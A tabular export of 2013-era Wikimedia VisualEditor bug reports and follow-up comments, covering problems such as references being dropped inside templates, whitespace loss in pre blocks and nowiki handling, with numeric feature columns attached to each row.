https://de.wikipedia.org/wiki/Magnesiumcarbonat",,,1378501325,,PHID-USER-wswkm7jrcwes3tc7o34k,True,,,PHID-TASK-gcsogk6cy5vhnwnvhuql,task_subcomment,,True,c1,3,False,,,9,,1.0,0.0,0.0,1.0,0.0,5.0,3.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,18.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,1.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,9.0,9.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,3.2987012987012987,0.5714285714285714,"Chances are this issue is systemic; three more examples:

1) Info box for movie articles:

URL

includes three refs in 

URL

and they all get eaten if the entry is loaded in VE.

2) Info box for corporate entities:

URL

see the first four refs in 

URL

3) URL

eats the two included refs in:

URL"
239300,De.WP's quote template eats refs (or gets eaten),"from the report:

* a) {{<ref>source a</ref>}} -> eats ref completely

in all other reported cases:

* b) {<ref>source b</ref>} 
* c) {{<ref>source c</ref>
* d) {<ref>source d</ref> 
* e) {{<ref>source a</ref>}.

VE tells the user once ""This is Wikitext"" but then carries on; see test page:

https://de.wikipedia.org/w/index.php?title=Benutzerin:Miss-Sophie/Spielwiese&oldid=122231700",,,1378331713,,PHID-USER-wswkm7jrcwes3tc7o34k,True,,,PHID-TASK-gcsogk6cy5vhnwnvhuql,task_subcomment,,True,c1,3,False,,,9,,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,14.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,4.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,6.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.5,2.516078431372549,0.6147058823529412,"from the report:

* a) {{<ref>source a</ref>}} -> eats ref completely

in all other reported cases:

* b) {<ref>source b</ref>} 
* c) {{<ref>source c</ref>
* d) {<ref>source d</ref> 
* e) {{<ref>source a</ref>}.

VE tells the user once ""This is Wikitext"" but then carries on; see test page:

URL"
55775,VisualEditor: Corruption: Leading whitespace removed from pre block,"See https://en.wikipedia.org/w/index.php?title=Epigram_%28programming_language%29&oldid=567048374&veaction=edit and click ""save"" (note that save box warns about corruption) and then ""view changes"" (ignoring the changes I have since made). The pre block has been corrupted.

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Linux
**Platform**: PC",Needs Triage,90.0,1378330500,1379613849.0,PHID-USER-bug3zrlooz3bdmi4fyl7,False,,False,PHID-TASK-wf4d3yulifq7pdamnvpv,task_description,resolved,True,c1,3,False,False,True,9,,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,14.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,4.0,4.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.3013698630136985,0.589041095890411,"See URL and click ""save"" (note that save box warns about corruption) and then ""view changes"" (ignoring the changes I have since made). The pre block has been corrupted.

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Linux
**Platform**: PC"
239169,VisualEditor: Corruption: Leading whitespace removed from pre block,"

*** This bug has been marked as a duplicate of bug 54083 ***",,,1379613849,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-wf4d3yulifq7pdamnvpv,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 54083 ***"
55729,Request for edit summary preview,"A De.WP user suggested to include a preview for the edit summary. Report:

https://de.wikipedia.org/w/index.php?title=Wikipedia:Technik/Text/Edit/VisualEditor/Beta2013-07&oldid=122207411#Vorschau_f.C3.BCr_Zusammenfassung_und_Quellen

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1378253700,1380545659.0,PHID-USER-wswkm7jrcwes3tc7o34k,True,,False,PHID-TASK-uro44a5vqso2sy7u2arn,task_description,resolved,True,c1,3,False,False,True,9,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,19.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.864864864864865,0.6756756756756757,"A De.WP user suggested to include a preview for the edit summary. Report:

URL

--------------------------
**Version**: unspecified
**Severity**: enhancement"
235899,Request for edit summary preview,"

*** This bug has been marked as a duplicate of bug 42139 ***",,,1380545659,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-uro44a5vqso2sy7u2arn,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 42139 ***"
55699,VisualEditor: adding section for references will suppress the Related Articles one,"See https://it.wikipedia.org/w/index.php?title=Bisanzio_Lupis&diff=61160806&oldid=51778070 .

When creating a section for references and adding the relevant tag,
it will suppress the Related Articles section - just the heading, not the content.

I reproduced it easily in my sandbox by just adding the contents that you can see in the diff above.
Note that it is not related to the reference being added in the same edit; here for instance https://it.wikipedia.org/w/index.php?title=Utente%3AElitre_%28WMF%29%2FSandbox_VE&diff=61285258&oldid=61285224 it was added previously.

Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1378206960,1425487289.0,PHID-USER-wil4b5lylrvf3krixlkl,True,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-ez3lf5ze2ra5vwgm2kwo,task_description,resolved,True,c1,3,False,False,False,9,,0.0,0.0,0.0,3.0,1.5,3.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,6.5,6.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.5,0.5,1.0,1.0,2.0,3.0,3.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.5,0.0,1.0,10.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,6.0,3.0,8.0,1.5,0.5,6.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,4.5,6.0,1.0,0.0,0.0,0.0,4.5,0.0,1.0,0.5,0.0,1.5,0.0,0.0,0.0,3.9215686274509802,0.7156862745098038,"See URL .

When creating a section for references and adding the relevant tag,
it will suppress the Related Articles section - just the heading, not the content.

I reproduced it easily in my sandbox by just adding the contents that you can see in the diff above.
Note that it is not related to the reference being added in the same edit; here for instance URL it was added previously.

Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal"
501332,VisualEditor: adding section for references will suppress the Related Articles one,Making resolved instead because it probably //was// a problem in 2013 :),,,1438627770,,PHID-USER-vixhpqcaqfpdj6impfwy,True,,,PHID-TASK-ez3lf5ze2ra5vwgm2kwo,task_subcomment,,True,c1,3,True,,,109,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,5.083333333333333,1.0,Making resolved instead because it probably //was// a problem in 2013 :)
501331,VisualEditor: adding section for references will suppress the Related Articles one,Making resolved instead because it probably //was// a problem in 2013.,,,1438627757,,PHID-USER-vixhpqcaqfpdj6impfwy,True,,,PHID-TASK-ez3lf5ze2ra5vwgm2kwo,task_subcomment,,True,c1,3,True,,,109,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,5.0,1.0,Making resolved instead because it probably //was// a problem in 2013.
422160,VisualEditor: adding section for references will suppress the Related Articles one,"Yup, can't reproduce this one.",,,1425653133,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-ez3lf5ze2ra5vwgm2kwo,task_subcomment,,True,c1,3,False,,,87,,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,"Yup, can't reproduce this one."
420845,VisualEditor: adding section for references will suppress the Related Articles one,"Closing task as declined as per last two comments as nobody managed to reproduce.

Please reopen if this problem still happens and provide an URL/link to an example. Thanks!",,,1425487289,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-ez3lf5ze2ra5vwgm2kwo,task_subcomment,,True,c1,3,True,,,87,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,20.0,3.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,3.0,3.0,9.0,0.0,0.0,3.0,0.0,9.0,3.0,3.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.171428571428572,0.8571428571428571,"Closing task as declined as per last two comments as nobody managed to reproduce.

Please reopen if this problem still happens and provide an URL/link to an example. Thanks!"
414183,VisualEditor: adding section for references will suppress the Related Articles one,"> When creating a section for references and adding the relevant tag,

What I tried:
Write the text ""Notes"" right above ""Voci correlate"", mark that text, choose ""Heading"" from the formatting dropdown, then add a reference via ""Cite > Basic"" somewhere in the text, then click below the ""Notes"" heading and choose ""Insert > References list"" in VE.

No issues either. Let's close this soon if noone can reproduce (already set to Stalled status).",,,1424366202,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-ez3lf5ze2ra5vwgm2kwo,task_subcomment,,True,c1,3,True,,,85,,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,8.0,9.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,1.0,0.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,9.0,8.0,0.0,13.0,0.0,2.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,2.0,3.5842696629213484,0.6966292134831461,"QUOTE

What I tried:
Write the text ""Notes"" right above ""Voci correlate"", mark that text, choose ""Heading"" from the formatting dropdown, then add a reference via ""Cite > Basic"" somewhere in the text, then click below the ""Notes"" heading and choose ""Insert > References list"" in VE.

No issues either. Let's close this soon if noone can reproduce (already set to Stalled status)."
406789,VisualEditor: adding section for references will suppress the Related Articles one,"I've attempted to reproduce the two test cases in a sandbox on the Italian Wikipedia. In both cases ([[https://it.wikipedia.org/w/index.php?title=Utente:Neil_P._Quinn/test&diff=prev&oldid=70691767|full]] and [[https://it.wikipedia.org/w/index.php?title=Utente:Neil_P._Quinn/test&diff=next&oldid=70691826|reduced]]), adding the section heading and references list worked correctly.",,,1423081747,,PHID-USER-cbjanejnwkkrbnj77d2d,True,,,PHID-TASK-ez3lf5ze2ra5vwgm2kwo,task_subcomment,,True,c1,3,False,,,83,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,16.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,11.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,11.0,4.0,0.7631578947368421,I've attempted to reproduce the two test cases in a sandbox on the Italian Wikipedia. In both cases ([[URL and [[URL adding the section heading and references list worked correctly.
55661,VisualEditor: Wikitext warning triggered without adding wikitext,"The Wikitext warning is triggered in some circumstances without the user having entered Wikitext. The one cause I can reliably reproduce is where there is nowikied markup on the page from a previous edit.

To reproduce:
1. Load https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox3&oldid=571089410&veaction=edit
2. Click anywhere on the last line of Section number two (the line that contains ""[[Manhatan]]"" and an ISBN, both of which are enclosed in nowiki tags). 

It seems that the warning is triggered by the existence of wikitext markup in the VE editing surface, rather than by its addition.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1378050300,1378458424.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-dusvcxcsy7gqikdevzgn,task_description,resolved,True,c1,3,False,False,True,8,,0.5,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.5,0.5,0.0,2.5,9.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.5,4.5,0.0,1.5,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.5,1.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,6.5,3.0,9.5,1.5,1.0,8.5,0.0,0.0,0.0,0.0,1.5,0.0,1.5,0.0,2.0,9.5,3.5,0.0,1.5,0.0,2.0,0.0,2.0,1.5,0.0,0.5,0.0,0.0,2.0,3.9375,0.7421875,"The Wikitext warning is triggered in some circumstances without the user having entered Wikitext. The one cause I can reliably reproduce is where there is nowikied markup on the page from a previous edit.

To reproduce:
1. Load URL
2. Click anywhere on the last line of Section number two (the line that contains ""[[Manhatan]]"" and an ISBN, both of which are enclosed in nowiki tags). 

It seems that the warning is triggered by the existence of wikitext markup in the VE editing surface, rather than by its addition.

--------------------------
**Version**: unspecified
**Severity**: normal"
256210,VisualEditor: Wikitext warning triggered without adding wikitext,"

*** This bug has been marked as a duplicate of bug 51751 ***",,,1378458424,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dusvcxcsy7gqikdevzgn,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 51751 ***"
55659,"VisualEditor: Show and make editable <nowiki>, </nowiki> and <nowiki /> tags","There is discussion at https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=571087443#nowiki_tags about using the edit filter to block edits adding the <nowiki /> tag in mainspace. However it was pointed out that ""the user probably has no way to know what they need to fix in order to resubmit their edit.  They can't find the nowiki tag, as it is invisible.""

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49806
https://bugzilla.wikimedia.org/show_bug.cgi?id=49603",Needs Triage,90.0,1378049580,1390023864.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-brld2i7xjlh2vp4m2jxn,task_description,declined,True,c1,3,False,False,False,8,,0.0,0.0,0.0,1.0,1.0,5.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,3.0,2.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,3.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,4.0,3.0,11.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,12.0,1.0,0.0,2.0,0.0,5.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,2.0,3.442105263157895,0.6421052631578947,"There is discussion at URL about using the edit filter to block edits adding the <nowiki /> tag in mainspace. However it was pointed out that ""the user probably has no way to know what they need to fix in order to resubmit their edit.  They can't find the nowiki tag, as it is invisible.""

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL"
256110,"VisualEditor: Show and make editable <nowiki>, </nowiki> and <nowiki /> tags","WONTFIXing this bug instead:

<nowiki> is fundamentally an artefact of wikitext that users should be (blissfully) unaware of, and Parsoid should ""just make work"" as needed. Right now this is generally true, and it will get better, not worse, in the future, so this is not needed (which is good, because VisualEditor has no way of knowing whilst a user is editing whether Parsoid will decide to put a <nowiki> in).",,,1390023864,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-brld2i7xjlh2vp4m2jxn,task_subcomment,,True,c1,3,True,,,28,,0.0,0.0,0.0,1.0,2.0,5.0,3.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,12.0,0.0,1.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,1.0,0.0,0.0,0.0,1.0,2.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,9.0,2.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,5.0,4.0,3.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,12.0,5.0,0.0,2.0,0.0,2.0,0.0,1.0,3.0,0.0,2.0,2.0,0.0,3.0,3.78021978021978,0.6923076923076923,"WONTFIXing this bug instead:

<nowiki> is fundamentally an artefact of wikitext that users should be (blissfully) unaware of, and Parsoid should ""just make work"" as needed. Right now this is generally true, and it will get better, not worse, in the future, so this is not needed (which is good, because VisualEditor has no way of knowing whilst a user is editing whether Parsoid will decide to put a <nowiki> in)."
256106,"VisualEditor: Show and make editable <nowiki>, </nowiki> and <nowiki /> tags","Gah, sorry, wrong bug.",,,1390023748,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-brld2i7xjlh2vp4m2jxn,task_subcomment,,True,c1,3,True,,,28,,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7142857142857144,0.8571428571428571,"Gah, sorry, wrong bug."
256102,"VisualEditor: Show and make editable <nowiki>, </nowiki> and <nowiki /> tags","This is because <nowiki /s> (unlike <nowiki>s) are ""meta"" items in the DOM rather than things VE can edit; merging with bug 56381.

*** This bug has been marked as a duplicate of bug 56381 ***",,,1390023708,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-brld2i7xjlh2vp4m2jxn,task_subcomment,,True,c1,3,True,,,28,,0.0,0.0,0.0,2.0,0.0,4.0,2.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,8.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,13.0,10.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,6.0,3.0384615384615383,0.75,"This is because <nowiki /s> (unlike <nowiki>s) are ""meta"" items in the DOM rather than things VE can edit; merging with bug 56381.

*** This bug has been marked as a duplicate of bug 56381 ***"
55643,text duplicated when following an image,"In some odd circumstances the text immediately following an image is duplicated. You can see the effect in
http://en.wikipedia.org/w/index.php?title=Danny_Nalliah&oldid=570830443&veaction=edit
where the text '''Daniel (Danny) Nalliah''' is duplicated. 

To make things more confusing it does not occur for every revision 
http://en.wikipedia.org/w/index.php?title=Danny_Nalliah&oldid=570591483&veaction=edit
works fine.

To make things thoughly weird in this revision in my sandbox
http://en.wikipedia.org/w/index.php?title=User:Salix_alba/sandbox&oldid=570839025
the text '''Daniel (Danny) Nalliah''' does not appear. Yet it magically appear in VE
http://en.wikipedia.org/w/index.php?title=User:Salix_alba/sandbox&direction=prev&oldid=570839025&veaction=edit

This issues is discussed at 
http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Still_looks_like_VE_Feedback_to_me

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1378023300,1423705265.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-keti3xueyglzi4p4spht,task_description,declined,True,c1,3,False,False,False,8,,1.0,0.0,0.0,2.0,1.5,4.0,0.0,0.0,0.0,0.0,3.5,5.5,0.0,0.0,0.0,1.0,0.0,4.5,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,4.5,0.5,1.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.5,3.0,0.0,0.0,0.0,0.0,0.0,8.5,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,3.0,2.0,13.5,0.5,1.0,5.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.5,6.0,7.5,0.0,2.5,0.0,2.5,0.0,0.5,0.5,0.0,0.5,0.5,0.0,0.0,3.75,0.6833333333333333,"In some odd circumstances the text immediately following an image is duplicated. You can see the effect in
URL
where the text '''Daniel (Danny) Nalliah''' is duplicated. 

To make things more confusing it does not occur for every revision 
URL
works fine.

To make things thoughly weird in this revision in my sandbox
URL
the text '''Daniel (Danny) Nalliah''' does not appear. Yet it magically appear in VE
URL

This issues is discussed at 
URL

--------------------------
**Version**: unspecified
**Severity**: normal"
410320,text duplicated when following an image,"Cannot reproduce the problem either with the given links and Firefox 35...
Assuming that this has magically fixed itself.
Hence closing this ticket as DECLINED as no-one else could reproduce so far, unfortunately.

